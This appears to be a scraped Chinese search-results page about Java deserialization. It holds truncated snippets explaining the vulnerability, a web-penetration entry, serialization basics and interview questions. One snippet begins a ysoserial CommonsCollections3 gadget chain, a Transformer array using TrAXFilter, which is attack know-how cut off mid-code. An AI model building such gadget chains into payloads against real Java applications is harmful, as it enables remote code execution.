    威胁说明如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。问题原因类ObjectInputStream...
  • yso-cc3 1.从入口看 1)cc1与2的 结合 2)Transformer链如下,使用了TrAXFilter类 final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), ...
  • WEB渗透 - Java反序列

    2021-03-06 04:25:55
    Java序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。什么是序列化和反序列化简单来说序列化就是把对象转换为字节序列(二进制),然后储存在内存中...
  • 很多商业项目用到数据库、内存映射文件和普通文件来完成项目中的序列化处理的需求,但是这些方法很少会依靠于Java序列化。本文也不是用来解释序列化的,而是一起来看看面试中有关序列化的问题,这些问题你很有可能不...
  • Java序列化和反序列

    2021-03-22 17:51:20
    Java反序列化(Deserialize)指的是从IO流中回复IO对象。2. 序列化的意义(Why)序列化机制可以将Java对象转换为数据流用来保存在磁盘上或者通过网络传输。这使得对象可以脱离程序独立存在。3. 如何进行序列化(How)为了...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 195,220
精华内容 78,088
关键字:

java反序列

java 订阅
友情链接: qrlifo.rar